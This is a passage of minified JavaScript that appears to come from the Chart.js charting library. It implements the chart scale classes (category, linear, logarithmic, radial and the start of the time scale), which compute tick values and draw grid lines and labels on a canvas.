if(void 0!==e.y)return this.getRightValue(e.y);return e},_convertTicksToLabels:function(e){var t,a,n,i=this;for(i.ticks=e.map((function(e){return e.value})),i.beforeTickToLabelConversion(),t=i.convertTicksToLabels(e)||i.ticks,i.afterTickToLabelConversion(),a=0,n=e.length;a<n;++a)e[a].label=t[a];return t},_getLabelSizes:function(){var e=this,t=e._labelSizes;return t||(e._labelSizes=t=_a(e.ctx,fa(e.options.ticks),e.getTicks(),e.longestTextCache),e.longestLabelWidth=t.widest.width),t},_parseValue:function(e){var t,a,n,i;return sa(e)?(t=+this.getRightValue(e[0]),a=+this.getRightValue(e[1]),n=Math.min(t,a),i=Math.max(t,a)):(t=void 0,a=e=+this.getRightValue(e),n=e,i=e),{min:n,max:i,start:t,end:a}},_getScaleLabel:function(e){var t=this._parseValue(e);return void 0!==t.start?"["+t.start+", "+t.end+"]":+this.getRightValue(e)},getLabelForIndex:R.noop,getPixelForValue:R.noop,getValueForPixel:R.noop,getPixelForTick:function(e){var t=this.options.offset,a=this._ticks.length,n=1/Math.max(a-(t?0:1),1);return e<0||e>a-1?null:this.getPixelForDecimal(e*n+(t?n/2:0))},getPixelForDecimal:function(e){return this._reversePixels&&(e=1-e),this._startPixel+e*this._length},getDecimalForPixel:function(e){var t=(e-this._startPixel)/this._length;return this._reversePixels?1-t:t},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var e=this.min,t=this.max;return this.beginAtZero?0:e<0&&t<0?t:e>0&&t>0?e:0},_autoSkip:function(e){var t,a,n,i,r=this.options.ticks,s=this._length,o=r.maxTicksLimit||s/this._tickSize()+1,d=r.major.enabled?function(e){var t,a,n=[];for(t=0,a=e.length;t<a;t++)e[t].major&&n.push(t);return n}(e):[],l=d.length,u=d[0],_=d[l-1];if(l>o)return function(e,t,a){var n,i,r=0,s=t[0];for(a=Math.ceil(a),n=0;n<e.length;n++)i=e[n],n===s?(i._index=n,s=t[++r*a]):delete i.label}(e,d,l/o),Ma(e);if(n=function(e,t,a,n){var i,r,s,o,d=function(e){var t,a,n=e.length;if(n<2)return!1;for(a=e[0],t=1;t<n;++t)if(e[t]-e[t-1]!==a)return!1;return a}(e),l=(t.length-1)/n;if(!d)return Math.max(l,1);for(s=0,o=(i=R.math._factorize(d)).length-1;s<o;s++)if((r=i[s])>l)return r;return Math.max(l,1)}(d,e,0,o),l>0){for(t=0,a=l-1;t<a;t++)pa(e,n,d[t],d[t+1]);return i=l>1?(_-u)/(l-1):null,pa(e,n,R.isNullOrUndef(i)?0:u-i,u),pa(e,n,_,R.isNullOrUndef(i)?e.length:_+i),Ma(e)}return pa(e,n),Ma(e)},_tickSize:function(){var e=this.options.ticks,t=R.toRadians(this.labelRotation),a=Math.abs(Math.cos(t)),n=Math.abs(Math.sin(t)),i=this._getLabelSizes(),r=e.autoSkipPadding||0,s=i?i.widest.width+r:0,o=i?i.highest.height+r:0;return this.isHorizontal()?o*a>s*n?s/a:o/n:o*n<s*a?o/a:s/n},_isVisible:function(){var e,t,a,n=this.chart,i=this.options.display;if("auto"!==i)return!!i;for(e=0,t=n.data.datasets.length;e<t;++e)if(n.isDatasetVisible(e)&&((a=n.getDatasetMeta(e)).xAxisID===this.id||a.yAxisID===this.id))return!0;return!1},_computeGridLineItems:function(e){var t,a,n,i,r,s,o,d,l,u,_,m,h,c,f,M,p,g=this,y=g.chart,L=g.options,Y=L.gridLines,v=L.position,k=Y.offsetGridLines,b=g.isHorizontal(),D=g._ticksToDraw,w=D.length+(k?1:0),T=ma(Y),x=[],S=Y.drawBorder?la(Y.lineWidth,0,0):0,H=S/2,j=R._alignPixel,P=function(e){return j(y,e,S)};for("top"===v?(t=P(g.bottom),o=g.bottom-T,l=t-H,_=P(e.top)+H,h=e.bottom):"bottom"===v?(t=P(g.top),_=e.top,h=P(e.bottom)-H,o=t+H,l=g.top+T):"left"===v?(t=P(g.right),s=g.right-T,d=t-H,u=P(e.left)+H,m=e.right):(t=P(g.left),u=e.left,m=P(e.right)-H,s=t+H,d=g.left+T),a=0;a<w;++a)n=D[a]||{},oa(n.label)&&a<D.length||(a===g.zeroLineIndex&&L.offset===k?(c=Y.zeroLineWidth,f=Y.zeroLineColor,M=Y.zeroLineBorderDash||[],p=Y.zeroLineBorderDashOffset||0):(c=la(Y.lineWidth,a,1),f=la(Y.color,a,"rgba(0,0,0,0.1)"),M=Y.borderDash||[],p=Y.borderDashOffset||0),void 0!==(i=ua(g,n._index||a,k))&&(r=j(y,i,c),b?s=d=u=m=r:o=l=_=h=r,x.push({tx1:s,ty1:o,tx2:d,ty2:l,x1:u,y1:_,x2:m,y2:h,width:c,color:f,borderDash:M,borderDashOffset:p})));return x.ticksLength=w,x.borderValue=t,x},_computeLabelItems:function(){var e,t,a,n,i,r,s,o,d,l,u,_,m=this,h=m.options,c=h.ticks,f=h.position,M=c.mirror,p=m.isHorizontal(),g=m._ticksToDraw,y=fa(c),L=c.padding,Y=ma(h.gridLines),v=-R.toRadians(m.labelRotation),k=[];for("top"===f?(r=m.bottom-Y-L,s=v?"left":"center"):"bottom"===f?(r=m.top+Y+L,s=v?"right":"center"):"left"===f?(i=m.right-(M?0:Y)-L,s=M?"left":"right"):(i=m.left+(M?0:Y)+L,s=M?"right":"left"),e=0,t=g.length;e<t;++e)n=(a=g[e]).label,oa(n)||(o=m.getPixelForTick(a._index||e)+c.labelOffset,l=(d=a.major?y.major:y.minor).lineHeight,u=sa(n)?n.length:1,p?(i=o,_="top"===f?((v?1:.5)-u)*l:(v?0:.5)*l):(r=o,_=(1-u)*l/2),k.push({x:i,y:r,rotation:v,label:n,font:d,textOffset:_,textAlign:s}));return k},_drawGrid:function(e){var t=this,a=t.options.gridLines;if(a.display){var n,i,r,s,o,d=t.ctx,l=t.chart,u=R._alignPixel,_=a.drawBorder?la(a.lineWidth,0,0):0,m=t._gridLineItems||(t._gridLineItems=t._computeGridLineItems(e));for(r=0,s=m.length;r<s;++r)n=(o=m[r]).width,i=o.color,n&&i&&(d.save(),d.lineWidth=n,d.strokeStyle=i,d.setLineDash&&(d.setLineDash(o.borderDash),d.lineDashOffset=o.borderDashOffset),d.beginPath(),a.drawTicks&&(d.moveTo(o.tx1,o.ty1),d.lineTo(o.tx2,o.ty2)),a.drawOnChartArea&&(d.moveTo(o.x1,o.y1),d.lineTo(o.x2,o.y2)),d.stroke(),d.restore());if(_){var h,c,f,M,p=_,g=la(a.lineWidth,m.ticksLength-1,1),y=m.borderValue;t.isHorizontal()?(h=u(l,t.left,p)-p/2,c=u(l,t.right,g)+g/2,f=M=y):(f=u(l,t.top,p)-p/2,M=u(l,t.bottom,g)+g/2,h=c=y),d.lineWidth=_,d.strokeStyle=la(a.color,0),d.beginPath(),d.moveTo(h,f),d.lineTo(c,M),d.stroke()}}},_drawLabels:function(){var e=this;if(e.options.ticks.display){var t,a,n,i,r,s,o,d,l=e.ctx,u=e._labelItems||(e._labelItems=e._computeLabelItems());for(t=0,n=u.length;t<n;++t){if(s=(r=u[t]).font,l.save(),l.translate(r.x,r.y),l.rotate(r.rotation),l.font=s.string,l.fillStyle=s.color,l.textBaseline="middle",l.textAlign=r.textAlign,o=r.label,d=r.textOffset,sa(o))for(a=0,i=o.length;a<i;++a)l.fillText(""+o[a],0,d),d+=s.lineHeight;else l.fillText(o,0,d);l.restore()}}},_drawTitle:function(){var e=this,t=e.ctx,a=e.options,n=a.scaleLabel;if(n.display){var i,r,s=da(n.fontColor,C.global.defaultFontColor),o=R.options._parseFont(n),d=R.options.toPadding(n.padding),l=o.lineHeight/2,u=a.position,_=0;if(e.isHorizontal())i=e.left+e.width/2,r="bottom"===u?e.bottom-l-d.bottom:e.top+l+d.top;else{var m="left"===u;i=m?e.left+l+d.top:e.right-l-d.top,r=e.top+e.height/2,_=m?-.5*Math.PI:.5*Math.PI}t.save(),t.translate(i,r),t.rotate(_),t.textAlign="center",t.textBaseline="middle",t.fillStyle=s,t.font=o.string,t.fillText(n.labelString,0,0),t.restore()}},draw:function(e){this._isVisible()&&(this._drawGrid(e),this._drawTitle(),this._drawLabels())},_layers:function(){var e=this,t=e.options,a=t.ticks&&t.ticks.z||0,n=t.gridLines&&t.gridLines.z||0;return e._isVisible()&&a!==n&&e.draw===e._draw?[{z:n,draw:function(){e._drawGrid.apply(e,arguments),e._drawTitle.apply(e,arguments)}},{z:a,draw:function(){e._drawLabels.apply(e,arguments)}}]:[{z:a,draw:function(){e.draw.apply(e,arguments)}}]},_getMatchingVisibleMetas:function(e){var t=this,a=t.isHorizontal();return t.chart._getSortedVisibleDatasetMetas().filter((function(n){return(!e||n.type===e)&&(a?n.xAxisID===t.id:n.yAxisID===t.id)}))}});ga.prototype._draw=ga.prototype.draw;var ya=ga,La=R.isNullOrUndef,Ya=ya.extend({determineDataLimits:function(){var e,t=this,a=t._getLabels(),n=t.options.ticks,i=n.min,r=n.max,s=0,o=a.length-1;void 0!==i&&(e=a.indexOf(i))>=0&&(s=e),void 0!==r&&(e=a.indexOf(r))>=0&&(o=e),t.minIndex=s,t.maxIndex=o,t.min=a[s],t.max=a[o]},buildTicks:function(){var e=this._getLabels(),t=this.minIndex,a=this.maxIndex;this.ticks=0===t&&a===e.length-1?e:e.slice(t,a+1)},getLabelForIndex:function(e,t){var a=this.chart;return a.getDatasetMeta(t).controller._getValueScaleId()===this.id?this.getRightValue(a.data.datasets[t].data[e]):this._getLabels()[e]},_configure:function(){var e=this,t=e.options.offset,a=e.ticks;ya.prototype._configure.call(e),e.isHorizontal()||(e._reversePixels=!e._reversePixels),a&&(e._startValue=e.minIndex-(t?.5:0),e._valueRange=Math.max(a.length-(t?0:1),1))},getPixelForValue:function(e,t,a){var n,i,r,s=this;return La(t)||La(a)||(e=s.chart.data.datasets[a].data[t]),La(e)||(n=s.isHorizontal()?e.x:e.y),(void 0!==n||void 0!==e&&isNaN(t))&&(i=s._getLabels(),e=R.valueOrDefault(n,e),t=-1!==(r=i.indexOf(e))?r:t,isNaN(t)&&(t=e)),s.getPixelForDecimal((t-s._startValue)/s._valueRange)},getPixelForTick:function(e){var t=this.ticks;return e<0||e>t.length-1?null:this.getPixelForValue(t[e],e+this.minIndex)},getValueForPixel:function(e){var t=Math.round(this._startValue+this.getDecimalForPixel(e)*this._valueRange);return Math.min(Math.max(t,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}}),va={position:"bottom"};Ya._defaults=va;var ka=R.noop,ba=R.isNullOrUndef,Da=ya.extend({getRightValue:function(e){return"string"==typeof e?+e:ya.prototype.getRightValue.call(this,e)},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;if(t.beginAtZero){var a=R.sign(e.min),n=R.sign(e.max);a<0&&n<0?e.max=0:a>0&&n>0&&(e.min=0)}var i=void 0!==t.min||void 0!==t.suggestedMin,r=void 0!==t.max||void 0!==t.suggestedMax;void 0!==t.min?e.min=t.min:void 0!==t.suggestedMin&&(null===e.min?e.min=t.suggestedMin:e.min=Math.min(e.min,t.suggestedMin)),void 0!==t.max?e.max=t.max:void 0!==t.suggestedMax&&(null===e.max?e.max=t.suggestedMax:e.max=Math.max(e.max,t.suggestedMax)),i!==r&&e.min>=e.max&&(i?e.max=e.min+1:e.min=e.max-1),e.min===e.max&&(e.max++,t.beginAtZero||e.min--)},getTickLimit:function(){var e,t=this.options.ticks,a=t.stepSize,n=t.maxTicksLimit;return a?e=Math.ceil(this.max/a)-Math.floor(this.min/a)+1:(e=this._computeTickLimit(),n=n||11),n&&(e=Math.min(n,e)),e},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:ka,buildTicks:function(){var e=this,t=e.options.ticks,a=e.getTickLimit(),n={maxTicks:a=Math.max(2,a),min:t.min,max:t.max,precision:t.precision,stepSize:R.valueOrDefault(t.fixedStepSize,t.stepSize)},i=e.ticks=function(e,t){var a,n,i,r,s=[],o=e.stepSize,d=o||1,l=e.maxTicks-1,u=e.min,_=e.max,m=e.precision,h=t.min,c=t.max,f=R.niceNum((c-h)/l/d)*d;if(f<1e-14&&ba(u)&&ba(_))return[h,c];(r=Math.ceil(c/f)-Math.floor(h/f))>l&&(f=R.niceNum(r*f/l/d)*d),o||ba(m)?a=Math.pow(10,R._decimalPlaces(f)):(a=Math.pow(10,m),f=Math.ceil(f*a)/a),n=Math.floor(h/f)*f,i=Math.ceil(c/f)*f,o&&(!ba(u)&&R.almostWhole(u/f,f/1e3)&&(n=u),!ba(_)&&R.almostWhole(_/f,f/1e3)&&(i=_)),r=(i-n)/f,r=R.almostEquals(r,Math.round(r),f/1e3)?Math.round(r):Math.ceil(r),n=Math.round(n*a)/a,i=Math.round(i*a)/a,s.push(ba(u)?n:u);for(var M=1;M<r;++M)s.push(Math.round((n+M*f)*a)/a);return s.push(ba(_)?i:_),s}(n,e);e.handleDirectionalChanges(),e.max=R.max(i),e.min=R.min(i),t.reverse?(i.reverse(),e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max)},convertTicksToLabels:function(){var e=this;e.ticksAsNumbers=e.ticks.slice(),e.zeroLineIndex=e.ticks.indexOf(0),ya.prototype.convertTicksToLabels.call(e)},_configure:function(){var e,t=this,a=t.getTicks(),n=t.min,i=t.max;ya.prototype._configure.call(t),t.options.offset&&a.length&&(n-=e=(i-n)/Math.max(a.length-1,1)/2,i+=e),t._startValue=n,t._endValue=i,t._valueRange=i-n}}),wa={position:"left",ticks:{callback:ra.formatters.linear}};function Ta(e,t,a,n){var i,r,s=e.options,o=function(e,t,a){var n=[a.type,void 0===t&&void 0===a.stack?a.index:"",a.stack].join(".");return void 0===e[n]&&(e[n]={pos:[],neg:[]}),e[n]}(t,s.stacked,a),d=o.pos,l=o.neg,u=n.length;for(i=0;i<u;++i)r=e._parseValue(n[i]),isNaN(r.min)||isNaN(r.max)||a.data[i].hidden||(d[i]=d[i]||0,l[i]=l[i]||0,s.relativePoints?d[i]=100:r.min<0||r.max<0?l[i]+=r.min:d[i]+=r.max)}function xa(e,t,a){var n,i,r=a.length;for(n=0;n<r;++n)i=e._parseValue(a[n]),isNaN(i.min)||isNaN(i.max)||t.data[n].hidden||(e.min=Math.min(e.min,i.min),e.max=Math.max(e.max,i.max))}var Sa=Da.extend({determineDataLimits:function(){var e,t,a,n,i=this,r=i.options,s=i.chart.data.datasets,o=i._getMatchingVisibleMetas(),d=r.stacked,l={},u=o.length;if(i.min=Number.POSITIVE_INFINITY,i.max=Number.NEGATIVE_INFINITY,void 0===d)for(e=0;!d&&e<u;++e)d=void 0!==(t=o[e]).stack;for(e=0;e<u;++e)a=s[(t=o[e]).index].data,d?Ta(i,l,t,a):xa(i,t,a);R.each(l,(function(e){n=e.pos.concat(e.neg),i.min=Math.min(i.min,R.min(n)),i.max=Math.max(i.max,R.max(n))})),i.min=R.isFinite(i.min)&&!isNaN(i.min)?i.min:0,i.max=R.isFinite(i.max)&&!isNaN(i.max)?i.max:1,i.handleTickRangeOptions()},_computeTickLimit:function(){var e;return this.isHorizontal()?Math.ceil(this.width/40):(e=R.options._parseFont(this.options.ticks),Math.ceil(this.height/e.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForValue:function(e){return this.getPixelForDecimal((+this.getRightValue(e)-this._startValue)/this._valueRange)},getValueForPixel:function(e){return this._startValue+this.getDecimalForPixel(e)*this._valueRange},getPixelForTick:function(e){var t=this.ticksAsNumbers;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])}}),Ha=wa;Sa._defaults=Ha;var ja=R.valueOrDefault,Pa=R.math.log10,Oa={position:"left",ticks:{callback:ra.formatters.logarithmic}};function Aa(e,t){return R.isFinite(e)&&e>=0?e:t}var Fa=ya.extend({determineDataLimits:function(){var e,t,a,n,i,r,s=this,o=s.options,d=s.chart,l=d.data.datasets,u=s.isHorizontal();function _(e){return u?e.xAxisID===s.id:e.yAxisID===s.id}s.min=Number.POSITIVE_INFINITY,s.max=Number.NEGATIVE_INFINITY,s.minNotZero=Number.POSITIVE_INFINITY;var m=o.stacked;if(void 0===m)for(e=0;e<l.length;e++)if(t=d.getDatasetMeta(e),d.isDatasetVisible(e)&&_(t)&&void 0!==t.stack){m=!0;break}if(o.stacked||m){var h={};for(e=0;e<l.length;e++){var c=[(t=d.getDatasetMeta(e)).type,void 0===o.stacked&&void 0===t.stack?e:"",t.stack].join(".");if(d.isDatasetVisible(e)&&_(t))for(void 0===h[c]&&(h[c]=[]),i=0,r=(n=l[e].data).length;i<r;i++){var f=h[c];a=s._parseValue(n[i]),isNaN(a.min)||isNaN(a.max)||t.data[i].hidden||a.min<0||a.max<0||(f[i]=f[i]||0,f[i]+=a.max)}}R.each(h,(function(e){if(e.length>0){var t=R.min(e),a=R.max(e);s.min=Math.min(s.min,t),s.max=Math.max(s.max,a)}}))}else for(e=0;e<l.length;e++)if(t=d.getDatasetMeta(e),d.isDatasetVisible(e)&&_(t))for(i=0,r=(n=l[e].data).length;i<r;i++)a=s._parseValue(n[i]),isNaN(a.min)||isNaN(a.max)||t.data[i].hidden||a.min<0||a.max<0||(s.min=Math.min(a.min,s.min),s.max=Math.max(a.max,s.max),0!==a.min&&(s.minNotZero=Math.min(a.min,s.minNotZero)));s.min=R.isFinite(s.min)?s.min:null,s.max=R.isFinite(s.max)?s.max:null,s.minNotZero=R.isFinite(s.minNotZero)?s.minNotZero:null,this.handleTickRangeOptions()},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;e.min=Aa(t.min,e.min),e.max=Aa(t.max,e.max),e.min===e.max&&(0!==e.min&&null!==e.min?(e.min=Math.pow(10,Math.floor(Pa(e.min))-1),e.max=Math.pow(10,Math.floor(Pa(e.max))+1)):(e.min=1,e.max=10)),null===e.min&&(e.min=Math.pow(10,Math.floor(Pa(e.max))-1)),null===e.max&&(e.max=0!==e.min?Math.pow(10,Math.floor(Pa(e.min))+1):10),null===e.minNotZero&&(e.min>0?e.minNotZero=e.min:e.max<1?e.minNotZero=Math.pow(10,Math.floor(Pa(e.max))):e.minNotZero=1)},buildTicks:function(){var e=this,t=e.options.ticks,a=!e.isHorizontal(),n={min:Aa(t.min),max:Aa(t.max)},i=e.ticks=function(e,t){var a,n,i=[],r=ja(e.min,Math.pow(10,Math.floor(Pa(t.min)))),s=Math.floor(Pa(t.max)),o=Math.ceil(t.max/Math.pow(10,s));0===r?(a=Math.floor(Pa(t.minNotZero)),n=Math.floor(t.minNotZero/Math.pow(10,a)),i.push(r),r=n*Math.pow(10,a)):(a=Math.floor(Pa(r)),n=Math.floor(r/Math.pow(10,a)));var d=a<0?Math.pow(10,Math.abs(a)):1;do{i.push(r),10==++n&&(n=1,d=++a>=0?1:d),r=Math.round(n*Math.pow(10,a)*d)/d}while(a<s||a===s&&n<o);var l=ja(e.max,r);return i.push(l),i}(n,e);e.max=R.max(i),e.min=R.min(i),t.reverse?(a=!a,e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max),a&&i.reverse()},convertTicksToLabels:function(){this.tickValues=this.ticks.slice(),ya.prototype.convertTicksToLabels.call(this)},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForTick:function(e){var t=this.tickValues;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])},_getFirstTickValue:function(e){var t=Math.floor(Pa(e));return Math.floor(e/Math.pow(10,t))*Math.pow(10,t)},_configure:function(){var e=this,t=e.min,a=0;ya.prototype._configure.call(e),0===t&&(t=e._getFirstTickValue(e.minNotZero),a=ja(e.options.ticks.fontSize,C.global.defaultFontSize)/e._length),e._startValue=Pa(t),e._valueOffset=a,e._valueRange=(Pa(e.max)-Pa(t))/(1-a)},getPixelForValue:function(e){var t=this,a=0;return(e=+t.getRightValue(e))>t.min&&e>0&&(a=(Pa(e)-t._startValue)/t._valueRange+t._valueOffset),t.getPixelForDecimal(a)},getValueForPixel:function(e){var t=this,a=t.getDecimalForPixel(e);return 0===a&&0===t.min?0:Math.pow(10,t._startValue+(a-t._valueOffset)*t._valueRange)}}),Wa=Oa;Fa._defaults=Wa;var Ca=R.valueOrDefault,Ea=R.valueAtIndexOrDefault,za=R.options.resolve,Ia={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:ra.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(e){return e}}};function Na(e){var t=e.ticks;return t.display&&e.display?Ca(t.fontSize,C.global.defaultFontSize)+2*t.backdropPaddingY:0}function Ra(e,t,a,n,i){return e===n||e===i?{start:t-a/2,end:t+a/2}:e<n||e>i?{start:t-a,end:t}:{start:t,end:t+a}}function Va(e){return 0===e||180===e?"center":e<180?"left":"right"}function Ba(e,t,a,n){var i,r,s=a.y+n/2;if(R.isArray(t))for(i=0,r=t.length;i<r;++i)e.fillText(t[i],a.x,s),s+=n;else e.fillText(t,a.x,s)}function Ja(e,t,a){90===e||270===e?a.y-=t.h/2:(e>270||e<90)&&(a.y-=t.h)}function Ua(e){return R.isNumber(e)?e:0}var Ga=Da.extend({setDimensions:function(){var e=this;e.width=e.maxWidth,e.height=e.maxHeight,e.paddingTop=Na(e.options)/2,e.xCenter=Math.floor(e.width/2),e.yCenter=Math.floor((e.height-e.paddingTop)/2),e.drawingArea=Math.min(e.height-e.paddingTop,e.width)/2},determineDataLimits:function(){var e=this,t=e.chart,a=Number.POSITIVE_INFINITY,n=Number.NEGATIVE_INFINITY;R.each(t.data.datasets,(function(i,r){if(t.isDatasetVisible(r)){var s=t.getDatasetMeta(r);R.each(i.data,(function(t,i){var r=+e.getRightValue(t);isNaN(r)||s.data[i].hidden||(a=Math.min(r,a),n=Math.max(r,n))}))}})),e.min=a===Number.POSITIVE_INFINITY?0:a,e.max=n===Number.NEGATIVE_INFINITY?0:n,e.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/Na(this.options))},convertTicksToLabels:function(){var e=this;Da.prototype.convertTicksToLabels.call(e),e.pointLabels=e.chart.data.labels.map((function(){var t=R.callback(e.options.pointLabels.callback,arguments,e);return t||0===t?t:""}))},getLabelForIndex:function(e,t){return+this.getRightValue(this.chart.data.datasets[t].data[e])},fit:function(){var e=this.options;e.display&&e.pointLabels.display?function(e){var t,a,n,i=R.options._parseFont(e.options.pointLabels),r={l:0,r:e.width,t:0,b:e.height-e.paddingTop},s={};e.ctx.font=i.string,e._pointLabelSizes=[];var o,d,l,u=e.chart.data.labels.length;for(t=0;t<u;t++){n=e.getPointPosition(t,e.drawingArea+5),o=e.ctx,d=i.lineHeight,l=e.pointLabels[t],a=R.isArray(l)?{w:R.longestText(o,o.font,l),h:l.length*d}:{w:o.measureText(l).width,h:d},e._pointLabelSizes[t]=a;var _=e.getIndexAngle(t),m=R.toDegrees(_)%360,h=Ra(m,n.x,a.w,0,180),c=Ra(m,n.y,a.h,90,270);h.start<r.l&&(r.l=h.start,s.l=_),h.end>r.r&&(r.r=h.end,s.r=_),c.start<r.t&&(r.t=c.start,s.t=_),c.end>r.b&&(r.b=c.end,s.b=_)}e.setReductions(e.drawingArea,r,s)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(e,t,a){var n=this,i=t.l/Math.sin(a.l),r=Math.max(t.r-n.width,0)/Math.sin(a.r),s=-t.t/Math.cos(a.t),o=-Math.max(t.b-(n.height-n.paddingTop),0)/Math.cos(a.b);i=Ua(i),r=Ua(r),s=Ua(s),o=Ua(o),n.drawingArea=Math.min(Math.floor(e-(i+r)/2),Math.floor(e-(s+o)/2)),n.setCenterPoint(i,r,s,o)},setCenterPoint:function(e,t,a,n){var i=this,r=i.width-t-i.drawingArea,s=e+i.drawingArea,o=a+i.drawingArea,d=i.height-i.paddingTop-n-i.drawingArea;i.xCenter=Math.floor((s+r)/2+i.left),i.yCenter=Math.floor((o+d)/2+i.top+i.paddingTop)},getIndexAngle:function(e){var t=this.chart,a=(e*(360/t.data.labels.length)+((t.options||{}).startAngle||0))%360;return(a<0?a+360:a)*Math.PI*2/360},getDistanceFromCenterForValue:function(e){var t=this;if(R.isNullOrUndef(e))return NaN;var a=t.drawingArea/(t.max-t.min);return t.options.ticks.reverse?(t.max-e)*a:(e-t.min)*a},getPointPosition:function(e,t){var a=this.getIndexAngle(e)-Math.PI/2;return{x:Math.cos(a)*t+this.xCenter,y:Math.sin(a)*t+this.yCenter}},getPointPositionForValue:function(e,t){return this.getPointPosition(e,this.getDistanceFromCenterForValue(t))},getBasePosition:function(e){var t=this.min,a=this.max;return this.getPointPositionForValue(e||0,this.beginAtZero?0:t<0&&a<0?a:t>0&&a>0?t:0)},_drawGrid:function(){var e,t,a,n=this,i=n.ctx,r=n.options,s=r.gridLines,o=r.angleLines,d=Ca(o.lineWidth,s.lineWidth),l=Ca(o.color,s.color);if(r.pointLabels.display&&function(e){var t=e.ctx,a=e.options,n=a.pointLabels,i=Na(a),r=e.getDistanceFromCenterForValue(a.ticks.reverse?e.min:e.max),s=R.options._parseFont(n);t.save(),t.font=s.string,t.textBaseline="middle";for(var o=e.chart.data.labels.length-1;o>=0;o--){var d=0===o?i/2:0,l=e.getPointPosition(o,r+d+5),u=Ea(n.fontColor,o,C.global.defaultFontColor);t.fillStyle=u;var _=e.getIndexAngle(o),m=R.toDegrees(_);t.textAlign=Va(m),Ja(m,e._pointLabelSizes[o],l),Ba(t,e.pointLabels[o],l,s.lineHeight)}t.restore()}(n),s.display&&R.each(n.ticks,(function(e,a){0!==a&&(t=n.getDistanceFromCenterForValue(n.ticksAsNumbers[a]),function(e,t,a,n){var i,r=e.ctx,s=t.circular,o=e.chart.data.labels.length,d=Ea(t.color,n-1),l=Ea(t.lineWidth,n-1);if((s||o)&&d&&l){if(r.save(),r.strokeStyle=d,r.lineWidth=l,r.setLineDash&&(r.setLineDash(t.borderDash||[]),r.lineDashOffset=t.borderDashOffset||0),r.beginPath(),s)r.arc(e.xCenter,e.yCenter,a,0,2*Math.PI);else{i=e.getPointPosition(0,a),r.moveTo(i.x,i.y);for(var u=1;u<o;u++)i=e.getPointPosition(u,a),r.lineTo(i.x,i.y)}r.closePath(),r.stroke(),r.restore()}}(n,s,t,a))})),o.display&&d&&l){for(i.save(),i.lineWidth=d,i.strokeStyle=l,i.setLineDash&&(i.setLineDash(za([o.borderDash,s.borderDash,[]])),i.lineDashOffset=za([o.borderDashOffset,s.borderDashOffset,0])),e=n.chart.data.labels.length-1;e>=0;e--)t=n.getDistanceFromCenterForValue(r.ticks.reverse?n.min:n.max),a=n.getPointPosition(e,t),i.beginPath(),i.moveTo(n.xCenter,n.yCenter),i.lineTo(a.x,a.y),i.stroke();i.restore()}},_drawLabels:function(){var e=this,t=e.ctx,a=e.options.ticks;if(a.display){var n,i,r=e.getIndexAngle(0),s=R.options._parseFont(a),o=Ca(a.fontColor,C.global.defaultFontColor);t.save(),t.font=s.string,t.translate(e.xCenter,e.yCenter),t.rotate(r),t.textAlign="center",t.textBaseline="middle",R.each(e.ticks,(function(r,d){(0!==d||a.reverse)&&(n=e.getDistanceFromCenterForValue(e.ticksAsNumbers[d]),a.showLabelBackdrop&&(i=t.measureText(r).width,t.fillStyle=a.backdropColor,t.fillRect(-i/2-a.backdropPaddingX,-n-s.size/2-a.backdropPaddingY,i+2*a.backdropPaddingX,s.size+2*a.backdropPaddingY)),t.fillStyle=o,t.fillText(r,0,-n))})),t.restore()}},_drawTitle:R.noop}),qa=Ia;Ga._defaults=qa;var Ka=R._deprecated,Za=R.options.resolve,$a=R.valueOrDefault,Xa=Number.MIN_SAFE_INTEGER||-9007199254740991,Qa=Number.MAX_SAFE_INTEGER||9007199254740991,en={millisecond:{common:!0,size:1,steps:1e3},second:{common:!0,size:1e3,steps:60},minute:{common:!0,size:6e4,steps:60},hour:{common:!0,size:36e5,steps:24},day:{common:!0,size:864e5,steps:30},week:{common:!1,size:6048e5,steps:4},month:{common:!0,size:2628e6,steps:12},quarter:{common:!1,size:7884e6,steps:4},year:{common:!0,size:3154e7}},tn=Object.keys(en);function an(e,t){return e-t}function nn(e){return R.valueOrDefault(e.time.min,e.ticks.min)}function rn(e){return R.valueOrDefault(e.time.max,e.ticks.max)}function sn(e,t,a,n){var i=function(e,t,a){for(var n,i,r,s=0,o=e.length-1;s>=0&&s<=o;){if(i=e[(n=s+o>>1)-1]||null,r=e[n],!i)return{lo:null,hi:r};if(r[t]<a)s=n+1;else{if(!(i[t]>a))return{lo:i,hi:r};o=n-1}}return{lo:r,hi:null}}(e,t,a),r=i.lo?i.hi?i.lo:e[e.length-2]:e[0],s=i.lo?i.hi?i.hi:e[e.length-1]:e[1],o=s[t]-r[t],d=o?(a-r[t])/o:0,l=(s[n]-r[n])*d;return r[n]+l}function on(e,t){var a=e._adapter,n=e.options.time,i=n.parser,r=i||n.format,s=t;return"function"==typeof i&&(s=i(s)),R.isFinite(s)||(s="string"==typeof r?a.parse(s,r):a.parse(s)),null!==s?+s:(i||"function"!=typeof r||(s=r(t),R.isFinite(s)||(s=a.parse(s))),s)}function dn(e,t){if(R.isNullOrUndef(t))return null;var a=e.options.time,n=on(e,e.getRightValue(t));return null===n||a.round&&(n=+e._adapter.startOf(n,a.round)),n}function ln(e,t,a,n){var i,r,s,o=tn.length;for(i=tn.indexOf(e);i<o-1;++i)if(s=(r=en[tn[i]]).steps?r.steps:Qa,r.common&&Math.ceil((a-t)/(s*r.size))<=n)return tn[i];return tn[o-1]}function un(e,t,a){var 